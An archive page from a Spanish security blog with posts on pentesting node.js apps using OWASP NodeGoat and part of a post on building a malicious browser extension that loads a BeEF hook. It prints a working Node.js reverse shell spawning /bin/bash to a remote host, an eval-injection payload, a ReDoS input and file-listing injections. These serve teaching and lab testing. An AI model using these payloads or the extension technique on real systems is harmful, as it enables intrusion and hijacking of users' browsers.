Archivo

Posts Tagged ‘ataques web directos’

Pentesting contra aplicaciones en nodejs – Parte 3

julio 12, 2018 1 comentario

En la parte dos de la serie se ha hablado sobre la aplicación web vulnerable por diseño llamada NodeGoat, una aplicación web sencilla y con vulnerabilidades que pueden ser bastante triviales y fáciles de descubrir, para no desvelar todas las cosas que se pueden probar en dicho sistema y dejar que el lector explore la aplicación por su cuenta, en ésta parte se verán algunas rutinas de código en Node.js que son consideradas riesgosas o que representan una vulnerabilidad que se puede explotar manualmente o incluso utilizando alguna herramienta de pentesting web automatizado.

RCE con vulnerabilidades SSJI

En el post anterior se ha visto que NodeGoat tiene una vulnerabilidad del tipo SSJI que permite la inyección de rutinas Javascript directamente en el lado del servidor, dichas rutinas evidentemente pueden hacer un uso completo de la API de Node.js y hacer prácticamente cualquier cosa. Por ejemplo, partamos del siguiente fragmento de código:

			
var express = require('express');
			
var app = express();
			
app.get('/', function(req, res) {
			
  var value=eval("("+req.query.param+")");
			
  res.send('OK');
			
});
			
app.listen(8080);
			

Es muy simple, pero además de utilizar la función insegura “eval”, el parámetro que se utiliza en dicha función, es recibido desde una petición de un cliente sin aplicar ningún tipo de validación, dando como resultado una vulnerabilidad de SSJI. Como se ha visto en la entrada anterior, se pueden ingresar instrucciones para matar el proceso del servidor, causando una condición de DoS, listar los ficheros de un directorio concreto o incluso, ejecutar instrucciones directamente contra el servidor. Partiendo del código anterior, se probará ahora a crear una reverse shell, algo que es sencillo si se conoce la lógica básica de los sockets y cómo establecer una conexión entre cliente y víctima. Evidentemente para hacerlo, es necesario tener código en Node.js que se encargue de realizar las invocaciones adecuadas a la socket API, algo que no es demasiado complejo de hacer y que en última instancia, nos permitirá enganchar al canal abierto entre cliente y víctima, una shell que permita ejecutar comandos sobre el sistema comprometido. Es fácil encontrar una reverse shell en Node.js, por ejemplo, en el siguiente enlace se encuentra el código mínimo que debería de contener: https://github.com/appsecco/vulnerable-apps/tree/master/node-reverse-shell en éste, la reverse shell que se utilizará será la siguiente:

var net = require('net');
var spawn = require('child_process').spawn;
HOST="192.168.1.113";
PORT="4444";
TIMEOUT="5000";
if (typeof String.prototype.contains === 'undefined') { String.prototype.contains = function(it) { return this.indexOf(it) != -1; }; }
function c(HOST,PORT) {
    var client = new net.Socket();
    client.connect(PORT, HOST, function() {
        var sh = spawn('/bin/bash',[]);
        client.write("Connected!.\\n");
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
        sh.on('exit',function(code,signal){
          client.end("Canal cerrado!\\n");
        });
    });
    client.on('error', function(e) {
        setTimeout(c(HOST,PORT), TIMEOUT);
    });
}
c(HOST,PORT);

Éste código tal cómo está funciona bien, sin embargo incluir todas éstas instrucciones directamente en la petición puede ser algo un poco más complicado, ya que es posible que algunos caracteres se escapen al realizar la petición y no lleguen todas las instrucciones completas, algo que hará que falle su ejecución. La solución es tan simple como códificar el script anterior y generar una cadena codificada que se pueda enviar directamente al servidor por medio de una petición HTTP sin que se pierdan caracteres por el camino. Para ello, se puede utilizar cualquier lenguaje de scripting que permita realizar un “encode” básico, en éste caso, se utiliza Python y concretamente, el procedimiento que se detalla en el siguiente repositorio de GitHub: https://github.com/appsecco/vulnerable-apps/tree/master/node-reverse-shell

Como se puede apreciar desde el interprete de Python se puede crear una variable del tipo String con el código de la reverse shell y posteriormente invocar a “encode”. Partiendo de la cadena generada por “encode” se puede enviar en el parámetro “param” algo como lo siguiente:

http://localhost:8080/?param=%5B“./;eval(new Buffer(‘CADENA CODIFICADA’, ‘hex’).toString());//*”]

Antes de hacerlo es necesario levantar un listener en el puerto 8080, como siempre, utilizar netcat resulta cómodo y efectivo. nc -lvvp 4444

 

 

Como se puede apreciar en la imagen anterior, la reverse shell funciona correctamente y se ha podido ganar acceso al sistema partiendo de la vulnerabilidad de SSJI descrita antes.

ReDoS en Node.js

Una de las cosas más comunes en aplicaciones web, independiente del lenguaje de programación, es la de validar números de teléfono, documentos o direcciones de correo electrónico y lo más común para hacer estas cosas, consiste precisamente en utilizar expresiones regulares que se encontrarán disponibles en Internet como por ejemplo “stack overflow”. En este punto resulta conveniente ver la siguiente portada de un libro que todo desarrollador que se precie, en algún momento habrá hecho o puesto en práctica.

 

 

Extraer código de Stack overflow o cualquier otro sitio en Internet no está mal, pero hay que hacerlo con cabeza. Por ejemplo, algo común es copiar y pegar expresiones regulares que si bien, hacen lo que tienen que hacer, a lo mejor en términos de rendimiento no son de lo más óptimo y aquí entra en juego el modelo de Node.js y la imposibilidad de aceptar otras conexiones por parte de otros clientes cuando el proceso principal se encuentra ocupado “haciendo otras cosas”. Ahora bien, en el siguiente código, se utiliza una expresión regular para validar una dirección de correo electrónico:

var http = require("http");
var url = require("url");
http.createServer(function(request, response) 
{
  var emailExpression = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
  var parsedUrl = url.parse(request.url, true);
  response.writeHead(200, {"Content-Type": "text/html"});
  response.write("User Input : "+ parsedUrl.query.email);
  response.write("Email Validation : "+ emailExpression.test( parsedUrl.query.email ));
  response.end();
}).listen(8000);

La expresión regular está bien, salvo por un detalle. Al final de la misma se puede apreciar que aunque los caracteres finales deben tener una longitud de entre 2 y 4, con “+$” se indica que dicha condición queda invalidada y permite ingresar una cadena con una longitud superior, haciendo que dependiendo de lo que ingrese el usuario, el tiempo de procesamiento sea cada vez más largo y ojo! que esta expresión se ha extraído de stack overflow: https://stackoverflow.com/questions/4640583/what-are-these-javascript-syntax-called-a-za-z0-9-a-za-z0-9

A efectos prácticos que significa esto? Bien, dejaré que lo veáis vosotros mismos. Qué pasa si por ejemplo se levanta el servidor express con el código anterior y se ejecuta la siguiente petición HTTP?

http://localhost:8000/?email=adastra@thehackerway.com

Nada interesante, se valida correctamente la dirección y enseña por pantalla que la validación es correcta. Y con lo siguiente?

http://localhost:8000/?email=jjjjjjjjjjjjjjjjjjjjjjjjjjjj@ccccccccccccccccccccccccccccc.555555555555555555555555555555555555555555555555555555{

Bien, indica que la validación es incorrecta, lo cual es normal dado que se ha ingresado una dirección de correo invalida, pero lo que es interesante en éste punto es que el tiempo de respuesta ha sido bastante más elevado que la petición anterior, llegando incluso a tardar algunos segundos.

Con esto creo que el lector ya se hace una idea a lo que se pretende llegar, si la cadena es suficientemente larga, justo después del “.” (punto) el servidor se quedará completamente bloqueado y sin la posibilidad de procesar peticiones por parte de otros clientes. Una condición de DoS típica. En otras plataformas, esto no es demasiado problemático, dado que hay un modelo basado en “thread-per request” y si un hilo se queda bloqueado o tarda mucho en responder, los demás clientes de la aplicación podrán utilizar algún otro que se encuentre disponible en el servidor (si lo hay) pero en éste caso no tenemos ese modelo, si el proceso principal se queda bloqueado, el servidor entero también y ninguna otra petición podrá ser procesada. Esto es una vulnerabilidad del tipo “ReDoS” (Regex DoS).

Esto es todo de momento, espero que os haya parecido útil/interesante y que lo podáis poner en práctica.

Un saludo y Happy Hack!
Adastra.

Pentesting contra aplicaciones en node.js – Parte 2.

julio 10, 2018 1 comentario

En el primer post publicado de ésta serie sobre pentesting contra aplicaciones en node.js simplemente se ha dado un repaso general de las principales vulnerabilidades que se pueden detectar y posteriormente explotar en aplicaciones web basadas en ésta tecnología, la mayoría de las cuales no se encuentran especificadas en el OWASP Top 10, por lo tanto hay que aplicar un enfoque un poco diferente a la hora de realizar un proceso de pentesting contra éste tipo de aplicaciones. No obstante, esto no significa que las vulnerabilidades descritas en el OWASP Top 10 no afecten a las aplicaciones desarrolladas con node.js, todo lo contrario, también son bastante frecuentes cuando se desarrolla una aplicación sin tener en cuenta la seguridad en el proceso de construcción.
En el post anterior también se han mencionado las principales diferencias entre el modelo “event-loop” que implementan las aplicaciones basadas en node.js y el modelo “thread per-request”, por lo tanto en éste post vamos a comenzar a ver ejemplos prácticos de las vulnerabilidades descritas en el primer articulo para que todo quede un poco más claro.

Entorno de pruebas con NodeGoat.

Antes de comenzar y ver ejemplos un poco más centrados en lo que viene a ser el pentesting contra aplicaciones con node.js, es mejor contar con un entorno de pruebas y qué mejor que una aplicación web vulnerable por diseño, por ese motivo a partir de éste punto se procede a explicar la instalación de NodeGoat y su posterior puesta en marcha. Como se verá a continuación es un procedimiento bastante sencillo, solamente es necesario configurar una conexión a una base de datos MongoDB y tener todas las dependencias instaladas en el directorio donde se encuentra la aplicación, algo que se puede conseguir fácilmente utilizando “npm”.

El proyecto se encuentra disponible en GitHub en la siguiente url: https://github.com/OWASP/NodeGoat y tal como se puede ver en el README, la instalación consiste principalmente en la instalación de una base de datos MongoDB (la cual puede encontrarse en un servicio en Internet como https://mlab.com/) y contar con todas las librerías y dependencias obligatorias. El procedimiento se encuentra bastante bien explicado en el repositorio, por lo tanto no tiene mucho sentido replicar lo mismo que aparece en el fichero de README del proyecto, basta simplemente con seguir cada uno de los pasos indicados y será posible tener una instancia de NodeGoat en ejecución, por otro lado, para aquellos que prefieran utilizar Docker, también existe una imagen que cuenta con todo lo necesario para tener el entorno preparado.
Una vez que todas las dependencias se encuentran instaladas y todo está debidamente configurado, se puede ejecutar el “server.js” para levantar el módulo de express que da acceso a la aplicación y desde un navegador web apuntar a la dirección local en el puerto “4000”.

 

 

Las credenciales de acceso a la aplicación se encuentran en el README del proyecto, se pueden usar las cuentas: admin/Admin_123, user1/User1_123 o user2/User2_123.

Utilizando cualquiera de las cuentas anteriores, se puede iniciar sesión en la aplicación.

Ahora que ya se cuenta con NodeGoat en ejecución, es posible comenzar a hacer pruebas contra la aplicación, empezando por las más sencillas para ir tomando confianza.

En la aplicación existen varias vulnerabilidades de inyección del tipo XSS, una de ellas se encuentra en el perfil del usuario, en donde es posible editar información básica del usuario que se encuentra autenticado. Dado que algunos de dichos campos no gestionan adecuadamente las entradas y no “escapan” caracteres que son potencialmente peligrosos, es fácil incluir un script que haga cualquier cosa, desde el típico “alert”, cargar un iframe o una de mis favoritas, cargar un hook de BeEF ubicado en un servicio oculto en TOR. Seguramente algunos os diréis, que es necesario que el cliente se encuentre también conectado a dicha red para poder acceder a las direcciones onion, algo que es parcialmente cierto, pero también existen servicios en Internet como por ejemplo “tor2web” que se encarga de servir cómo puente entre usuarios que navegan en la “clear web” sin utilizar TOR y los servicios que se encuentran alojados en la deep web.

Además de la sección de perfil del usuario, ubicado en el extremo superior derecho de la aplicación web, en la opción “memos” es posible escribir un mensaje que quedará almacenado en la base de datos y el cual, admite entre otras cosas, tags HTML que serán renderizadas directamente en el navegador web de cada uno de los usuarios que accedan a la página, lo que nuevamente da como resultado una vulnerabilidad del tipo XSS almacenado.

Otra vulnerabilidad que también es fácil de descubrir se encuentra en la sección “allocations”. La lógica de ésta página es sencilla, cada uno de los usuarios autenticados accede a sus propios “allocations” desde ésta pantalla, sin embargo, la aplicación recibe por parámetro el identificador de cada “allocation” y realiza una búsqueda directa contra la base de datos, sin verificar si el usuario que realiza la petición tiene permiso de acceder al elemento solicitado o dicho de otra manera, nos encontramos con una vulnerabilidad típica de “Insecure direct object reference”, definida en el OWASP Top 10, aunque con la versión más reciente del 2017 ahora tiene otro nombre, pero la filosofía y criticidad de éste tipo de vulnerabilidad sigue siendo la misma. En éste caso, simplemente basta con cambiar la url “/allocations/2” por “/allocations/CUALQUIERNUMERO” y comprobar que en el caso de que la base de datos devuelva resultados, cambia incluso la página de perfil, apareciendo los datos del usuario al que pertenece dicho “allocation”.

En la sección que pone “Learning Resources” hay un parámetro llamado “url” el cual recibe como argumento una url que es utilizada por la aplicación web para realizar una redirección, está es otra vulnerabilidad fácil de descubrir, dado que el parámetro puede ser modificado e incluir un dominio arbitrario, controlando de ésta forma la navegación del usuario. Otra vulnerabilidad que se encuentra definida en el OWASP Top10, aunque en está ocasión, en la versión del 2013: “Insecure Redirects”, vulnerabilidad que ya no se encuentra recogida en la versión actual de OWASP.

Hasta aquí se han visto las vulnerabilidades más sencillas en NodeGoat, sin embargo hay otras más interesantes y que están enfocadas a lo que viene a ser node.js, las cuales se han explicado a grandes rasgos en el artículo anterior. Comenzaremos con una vulnerabilidad de SSJI (Server Side Javascript Injection) la cual como se ha mencionado antes, puede producir la ejecución de código en el lado del servidor y dado su impacto y criticidad, es de las primeras cosas que se tienen que ver en una aplicación desarrollada en node.js. Concretamente, a la hora de realizar una auditoría de código en una aplicación con ésta tecnología, hay que buscar los siguientes patrones:

* Uso de la función “eval” recibiendo entradas por parte del usuario sin validar.

* Uso de la función “setInterval” recibiendo entradas por parte del usuario sin validar.

* Uso de la función “setTimeout” recibiendo entradas por parte del usuario sin validar.

* Creación de una función anónima en node.js partiendo de instrucciones recibidas por parte del usuario y sin validar.

En NodeGoat se encuentra la opción “Contributions” en el menú, la cual tiene tres cajas de texto que reciben valores numéricos cada una, correspondientes a un porcentaje de payroll. Si se ingresa un valor numérico no hay ningún problema, pero si se llega a ingresar una cadena de texto…

 

Esto simplemente significa que la función “eval” ha fallado en la validación del valor numérico, sin embargo, otra característica interesante de “eval” es que además de validar valores numéricos, también se encarga de la validación y ejecución de instrucciones Javascript. Esto significa, que conociendo la API de Node.js será posible incluir cualquier tipo de instrucción que permita la ejecución arbitraria de código. Unos ejemplos típicos podrían ser “process.exit()”, “while(1)” o incluso, incluir una reverse shell escrita en node.js, algo que se verá en el siguiente post.

Con una vulnerabilidad de SSJI, no solamente es posible producir una condición de denegación de servicio o crear una shell contra el sistema, también es posible, con muy pocas líneas de código, leer directorios y ficheros de forma arbitraria en el sistema de archivos. Simplemente incluyendo una instrucción como: “res.end(require(‘fs’).readdirSync(‘.’).toString())” se podrán ver los ficheros y directorios del directorio raíz de la aplicación web.

Hay muchas más cosas que probar en NodeGoat, las cuales se verán en las próximas entradas de ésta serie.

 

 

Un saludo y Happy Hack!
Adastra.

Pentesting contra aplicaciones en node.js – Parte 1.

febrero 13, 2018 2 comentarios

En los últimos años nos encontramos con que las aplicaciones desarrolladas en node.js son cada vez más comunes en entornos empresariales y en Internet, lo que inicialmente se construyo como un prototipo para probar el funcionamiento de un modelo “event-loop” hoy en día se ha convertido en un lenguaje bastante popular que se ha hecho un hueco en el competitivo y controvertido mundo de las herramientas, lenguajes y plataformas para el desarrollo de aplicaciones. Node.js plantea una forma distinta de desarrollar plataformas web y por supuesto, también provee los medios necesarios para construir aquellos componentes de software que son comunes en otros lenguajes de programación, sin embargo, como cualquier otro lenguaje de programación, tiene sus limitaciones y en algunos casos es posible que no sea la mejor alternativa. Cuando queremos desarrollar algo, lo más importante y que nunca hay que perder de vista, es que las características funcionales de una aplicación pueden llevar más o menos tiempo dependiendo de cada lenguaje de programación y así como puede suponer más o menos esfuerzo, también es importante valorar el impacto de optar por un lenguaje de programación de cara al desempeño, la escalabilidad y por supuesto, la seguridad.

En este sentido y por lo que he podido ver cuando hablo con algunos desarrolladores de node.js que he conocido, estas premisas se olvidan completamente y se piensa que node.js “vale para todo”, aunque para ser justos, lo mismo me he encontrado con programadores de Java, Python, .Net, etc, etc, etc. Como diría Van Russom, cada lenguaje tiene su propio “Zen” y es importante conocerlo para saber si es la alternativa más adecuada para un problema concreto. Dicho esto, merece la pena recordar el modo de funcionamiento de node.js y el motivo por el cual es considerado un framework flexible, escalable y con buenos niveles de rendimiento, así como también, los motivos por los que no es una buena idea utilizarlo “para todo”.

Las principales características de Node.js son las siguientes:

– OpenSource, independiente de plataforma.

– Desarrollado sobre CJR v8 (Chrome JavaScript Runtime).

– Diseñado para ser rápido y escalable.

– Permite la ejecución de Javascript en el backend.

– El contexto de ejecución de CJR v8 es completamente diferente al contexto del navegador, dado que se ejecuta en el lado del servidor.

– Liviano y eficiente.

Por otro lado, utiliza un modelo de funcionamiento asíncrono basado en eventos y en la ejecución de funciones de “callback”. Se trata de un framework que ha sido pensado para ejecutar operaciones sobre un único hilo de ejecución, por este motivo nos encontramos con que el principal objetivo de node.js con su modelo “single-thread” es el de mejorar el desempeño y escalabilidad de aplicaciones web, ya no tenemos el modelo “one thread per requests” utilizado en las aplicaciones web tradicionales que se despliegan en servidores web como Apache, Ngnix, IIS, entre otros, estamos ante un modelo completamente distinto, enfocado al desarrollo de aplicaciones escalables, asíncronas y con un bajo consumo de recursos debido a que ahora, sobre el proceso servidor ya no se hace un “fork” para atender las peticiones de los clientes en procesos independientes, algo que es habitual en servidores web Apache.

Modelo “Event-loop model” vs “thread per requests”.

Un modelo “Event-Loop” es ideal para aplicaciones en donde la velocidad de respuesta de las peticiones es más importante que las operaciones I/O. p.e: Un proxy inverso/transparente. También, este modelo es remendable cuando se trata de aplicaciones web con un backend ligero, el cual realiza las operaciones de negocio de forma rápida y eficiente. Esto es importante ya que si el backend no cumple con este requerimiento se pueden producir cuellos de botella y afectar el rendimiento general de la aplicación. Un modelo “thread per requests” es más adecuado para procesamientos intensivos con con un número bajo de procesos concurrentes. p.e. Aplicaciones cuyas funciones realizan múltiples operaciones de negocio, conexiones a bases de datos u otros sistemas remotos, así como transacciones complejas que requieren tiempo de procesamiento. Dicho esto, dependiendo del tipo de aplicación un modelo puede ser más recomendable que el otro y en el caso de las aplicaciones node.js que utilizan el modelo “event-loop” es importante que el backend se encuentre lo más fino posible y que todas las operaciones de negocio se realicen de la forma más rápida posible. En el caso de aplicaciones desarrolladas con node.js es común encontrarnos con que es necesario desarrollar el componente “servidor”, típicamente utilizando el modulo “express” en entornos de desarrollo, además de la lógica propiamente dicha de la aplicación.

Dado que todo se ejecuta desde un único hilo de ejecución, la gestión inadecuada de excepciones puede interrumpir por completo el normal funcionamiento del servidor y por este motivo es recomendable tener rutinas de chequeo que se encarguen de verificar en todo momento el correcto funcionamiento del servidor y la disponibilidad del proceso en el sistema.
Como se puede apreciar, es necesario pensar de una forma diferente cuando se trata de aplicaciones que siguen el modelo que implementa node.js y ante todo, tener muy claro que como cualquier otra herramienta o tecnología, sirve para resolver un problema concreto y debe evitarse su uso siguiendo únicamente el criterio “de la moda”, es decir, utilizar node.js porque es lo que se lleva hoy en día. Como cualquier lenguaje de programación, tiene su propia filosofía, su propio “Zen” y es recomendable conocer sus características más relevantes de cada lenguaje con el fin de utilizar la tecnología adecuada para resolver un problema concreto.

OWASP Top 10 y Node.js

Node.js es una tecnología para el mundo web, para el mundo del “http”, por éste motivo todas las amenazas descritas en el OWASP Top 10 aplican igualmente a las aplicaciones basadas en node.js. Nos encontramos con los mismos problemas que afectan a las aplicaciones escritas en los lenguajes más utilizados/tradicionales en Internet como PHP, JSP/JSF/J2EE, ASP.NET, ColdFusion, etc, etc. Desde problemas típicos de Inyección (SQLi, LDAPi, XSS, etc) hasta problemas de fugas de información o ejecución remota de código. No obstante, en el caso de Node.js existen algunas amenazas adicionales que no están incluidas en el OWASP Top 10 y suelen ser bastante comunes en aplicaciones de éste tipo. A continuación se enumeran rápidamente algunas de ellas.

Global Namespace Pollution

Se trata de un problema que tiene relación directa con la calidad del código y buenas prácticas de desarrollo. Tal como se ha explicado anteriormente, el componente “servidor” en una aplicación en Node.js debe ser desarrollado utilizando alguno de los módulos disponibles en el lenguaje, siendo “express” el más común. Dado que se trata de una tarea que deben realizar los desarrolladores, en ocasiones en éste componente “servidor” se incluyen variables y rutinas de código que tienen relación directa con el funcionamiento de la aplicación. Hay que tener en cuenta que cuando se definen éste tipo de elementos (variables o funciones) en el componente servidor de la aplicación node.js, se convierten en elementos globales de toda la aplicación, es decir, que los valores almacenados en las variables y el resultado de la ejecución de las funciones en dicho contexto afecta a todos los usuarios de la aplicación. Por ejemplo, si en el componente servidor se almacena crea una variable de cualquier tipo, el valor de dicha variable puede ser alterado por cualquier cliente de la aplicación y dicha modificación va a ser visible por el resto de clientes que intenten acceder a dicho valor. En la mayoría de lenguajes de programación nos encontramos con 3 contextos para el almacenamiento de valores entre peticiones HTTP, dichos contextos serían “request”, “session” y “application”, siendo éste último el más amplio de todos y el que más se asemeja a los “Global Namespaces” en Node.js

HTTP Parameter Pollution

En la mayoría de plataformas web existen mecanismos estándar para controlar la forma en la que se procesarán los parámetros duplicados (servidorweb/pagina?id=20&id=10&id=pepe&id=abcde), en algunos casos el lenguaje se quedará con el valor de la primera ocurrencia del parámetro o con el último, en algunos casos está característica es incluso configurable, sin embargo en el caso de node.js no se excluye ningún parámetro y si un parámetro se repite varias veces en la misma petición, cuando se intente recuperar el valor del parámetro en cuestión desde la aplicación, node.js se encargará de devolver un “array” con cada una de las ocurrencias del parámetro en cuestión. Esta es una característica del lenguaje y hay que tener en cuenta, ya que casi siempre cuando se desarrolla una aplicación web, se espera recibir un parámetro con un tipo de dato concreto (típicamente una cadena) pero dado que node.js se encarga de envolver todas las ocurrencias de un mismo parámetro en un array, el comportamiento de la aplicación puede ser muy diferente al esperado y en la mayoría de casos se puede producir una excepción no controlada, que tal como se ha mencionado anteriormente, puede generar una condición de denegación de servicio en el servicio.

Uso inseguro de funciones que permiten inyección de código.

Como en muchos otros lenguajes de programación, en node.js existen funciones que permiten la validación de tipos de datos concretos, no hay que olvidar que node.js es un lenguaje de scripting no tipado, lo que significa que, a diferencia de otros lenguajes de programación con tipado fuerte, el tipo de una variable es implícito al valor que se le asigna. Esto quiere decir que si se le asigna una cadena a una variable, el tipo de dicha variable será “str” y si más adelante durante la ejecución del programa, se le asigna una valor entero, el tipo de dato de dicha variable será desde ese momento un “int”. La función “eval” es precisamente una de las funciones más conocidas y utilizadas en node.js para validar tipos de datos en variables e instrucciones de código, lo que significa que la función “eval” lo que hace por debajo es ejecutar las instrucciones enviadas por parámetro de la función, lo que en algunos casos puede producir problemas de inyección de código arbitrario si los valores enviados a “eval” provienen de una petición por parte del cliente y no se validan correctamente. Esta es solamente una de las posibilidades a la hora de inyectar código en una aplicación node.js, sin embargo como se verá en otro post de ésta serie, existen varias formas de hacer lo mismo y en todos los casos, son producidas por malas prácticas de desarrollo o simplemente por desconocimiento.

Regex DoS

El uso de las expresiones regulares es bastante habitual a la hora de validar patrones y se utilizan
con bastante frecuencia a la hora de comprobar los valores ingresados por un usuario en formularios web. Por ejemplo, se pueden utilizar expresiones regulares para validar un correo electrónico, un DNI, número de teléfono o cualquier otro campo que siga un patrón fijo. Aunque se trata de elementos muy potentes, se caracterizan por ser de alto consumo en términos de recursos y tiempo de procesamiento y pueden ser especialmente perjudiciales para el correcto funcionamiento de una aplicación cuando las expresiones aplicadas no se encuentran bien definidas. Es posible que dichas expresiones funcionen correctamente, pero debido a la forma en la que se encuentran declaradas consuman más tiempo y recursos de lo que deberían. En el caso de node.js y especialmente en cualquier plataforma que siga el modelo “event-loop” con un único proceso asociado al servidor, es posible encontrarse con un cuello de botella considerable, lo que al final termina por provocar una condición de denegación de servicio.

NodeGoat de OWASP para pentesting contra node.js

Ahora que se ha explicado a grandes rasgos las principales vulnerabilidades que pueden afectar a una aplicación escrita en node.js, es el momento de llevar todo ésto a la práctica y qué mejor forma de hacerlo que por medio de una aplicación web vulnerable por diseño. Del mismo modo que existen aplicaciones de éste tipo para lenguajes como Java, PHP, .Net, entre otros, en el caso de node.js existe el proyecto NodeGoat de OWASP, el cual se encuentra disponible en el siguiente repositorio de github: https://github.com/OWASP/NodeGoat

Su instalación es muy simple, basta con descargar el proyecto del repositorio con “git clone https://github.com/OWASP/NodeGoat” y posteriormente realizar la instalación de todos módulos necesarios para que la aplicación pueda arrancar. Dichos módulos se instalan rápidamente con el comando “npm install”. Evidentemente es necesario tener node.js instalado en el sistema, en el caso de sistemas basados en Debian, es tan sencillo como ejecutar el comando “apt-get install nodejs”. Una vez instalados todos los módulos de la aplicación, es necesario configurar la base de datos MongoDB, que tal como se indica en el README del proyecto, es posible tirar de una instancia de MongoDB en local o crear una cuenta en MongoLab (https://mlab.com/) y crear una base de datos en dicho servicio, el cual puede tiene un plan gratuito que más que suficiente para trabajar con NodeGoat. Es necesario editar el fichero “<NODEGOAT_DIR/config/env/development.js” y establecer la ruta de conexión con la base de datos que se ha creado en MongoLab o la instancia que se encuentra en ejecución en local, según sea el caso. Antes de iniciar la aplicación, se debe ejecutar el comando “npm run db:seed” para crear toda la estructura de de colecciones en la base de datos, la cual evidentemente es utilizada por NodeGoat. Finalmente, el comando “npm start” se debe ejecutar desde el directorio de NodeGoat y con esto, la aplicación estará preparada para ser utilizada en el puerto 4000. Para poder iniciar sesión en la aplicación, los usuarios se encuentran disponibles en la colección “users” de la base de datos y también se pueden ver en el fichero “README” del proyecto.

Esto ha sido una breve introducción al funcionamiento de node.js y algunos de los problemas de seguridad que se pueden dar por el uso inadecuado de ésta tecnología. En los próximos post se explicará mucho más en detalle y con ejemplos prácticos aquellas cuestiones a tener en cuenta a la hora de hacer un pentest contra aplicaciones web desarrolladas en node.js

Un saludo y happy hack!
Adastra.

Ataques MITB persistentes “cross-browser” con Kangoo Framework – Parte 2.

abril 12, 2017 Deja un comentario

Partiendo de lo visto en la entrada anterior, es el momento de comenzar a pensar en qué alternativas se encuentran disponibles de cara a un atacante a la hora de incluir rutinas maliciosas sobre la extensión desarrollada. En este sentido, pueden haber muchas rutinas basadas en Javascript que se podrían incluir directamente en el código de la extensión, las cuales se podrían encargar de extraer información o utilizar el navegador web como “pivote” para realizar peticiones contra otros sitios web en Internet obviamente sin el consentimiento del usuario. Como se ha visto antes, para crear dichas rutinas en Kangoo contamos con 2 alternativas posibles: Background y Content scripts. Vamos a ver cuál puede ser la mejor forma para crear la extensión con rutinas maliciosas a lo largo de éste post, sin embargo, antes de ello hay que pensar en el payload que se quiere distribuir en la extensión, qué operaciones debe ejecutar dicho payload sobre el navegador web y por supuesto, intentar que dichas operaciones tengan el mayor impacto posible sobre la “víctima”. Pueden haber varias opciones para cumplir con dicho objetivo, sin embargo, para éste caso concreto, vamos a centrarnos en el uso de una herramienta de la que ya se ha hablado anteriormente en éste blog y que tiene una potencia que pocas herramientas enfocadas a los ataques “client-side” disponen actualmente, estamos hablado de BeEF. Como se ha comentado en la serie de artículos en los que se ha hablado de BeEF (concretamente aquí, aquí,  y aquí) el funcionamiento de ésta herramienta se basa en la distribución de un “hook” que contiene una serie de instrucciones que permiten establecer un canal de comunicación directo con un panel de control central, en donde es posible gestionar todas las víctimas (en la terminología de BeEF conocidas como “Zombies”) y posteriormente, ejecutar sobre cada una múltiples comandos que permiten utilizar al “zombie” como un pivote para ejecutar ataques a otros sistemas o extraer información del navegador de la víctima. Aunque BeEF es una herramienta que se encuentra desarrollada en Ruby, el “hook” se basa en Javascript, ya que evidentemente contiene todas las instrucciones que se deben de ejecutar en el lado del cliente. Cuando se levanta BeEF se puede ver que además de indicar la ruta donde se encuentra el hook, también inicia la interfaz web desde donde se podrán controlar todos los navegadores que ejecuten el hook.

Ahora que se encuentra levantada la instancia de BeEF y tenemos un “hook” resulta evidente que partiendo de lo visto en la entrada anterior, es necesario que la extensión se encargue de descargar el hook del servidor de BeEF y posteriormente sea ejecutado directamente en el navegador en donde se ha instalado la extensión. Como se ha visto antes, para desarrollar la lógica de la extensión, las principales alternativas disponibles son “background scripts” y “content scripts”, los cuales permiten el uso completo de la API de Kangoo pero tal como se ha explicado en la entrada anterior, su contexto de ejecución es distinto. A continuación vamos a analizar ambas alternativas detalladamente a la hora de cargar el “hook” y ver cuál puede ser la más efectiva.

Cargar el Hook de BeEF en un Background Script

En el fichero “main.js” se encuentran las instrucciones que se ejecutarán como un “background script”, se trata de instrucciones que son independientes de las páginas cargadas por el usuario y se ejecutan directamente en el contexto del navegador. El Hook de BeEF está compuesto por instrucciones Javascript que se deben ejecutar por el cliente (navegador) para que todo funcione según lo esperado y aunque lo más habitual es cargar dicho hook en una página con alguna vulnerabilidad del tipo XSS, Content Spoofing o similar, en este caso concreto es posible descargarlo desde el servidor de BeEF e incluir el fichero JS directamente en la extensión como si se tratase de cualquier otro background script. En tal caso, lo único que haría falta seria editar el fichero “extension_info.js” e incluir el hook para que el navegador se encargue de ejecutarlo en el momento en el que la extensión se encuentre cargada y habilitada en el navegador. Es un enfoque sencillo y en apariencia requiere muy poco esfuerzo, aunque como se verá a continuación no es el más adecuado para nuestros propósitos. El contenido del fichero “extension_info.js” únicamente cambiará en la sección “background_scripts”

"background_scripts": [ 
        "main.js",
        "hook.js"
    ]

Del mismo modo que el fichero “main.js” se encuentra bajo el directorio “src/common”, el fichero “hook.js” de BeEF debe encontrarse también en la misma ubicación. Dado que no es necesario realizar ninguna modificación adicional para realizar ésta prueba de concepto, a continuación se procede a construir nuevamente la extensión tal y como se ha visto en la entrada anterior y posteriormente, se procede a instalarla en el navegador web y ….

La extensión se carga correctamente y el hook llega a ejecutarse sobre un navegador web Firefox, pero no funciona igual sobre un navegador web como Chrome debido a las medidas de seguridad que impone dicho navegador sobre elementos potencialmente peligrosos. En ambos casos, es posible apreciar que la extensión carga el fichero “hook,js” de BeEF pero solamente llega a establecerse correctamente la conexión cuando se utiliza un navegador web Firefox. Dicho esto, utilizar Background Scripts no parece ser la alternativa más viable, pero aún nos queda la otra opción: Content Scripts.

Cargar el Hook de BeEF en un Content Script

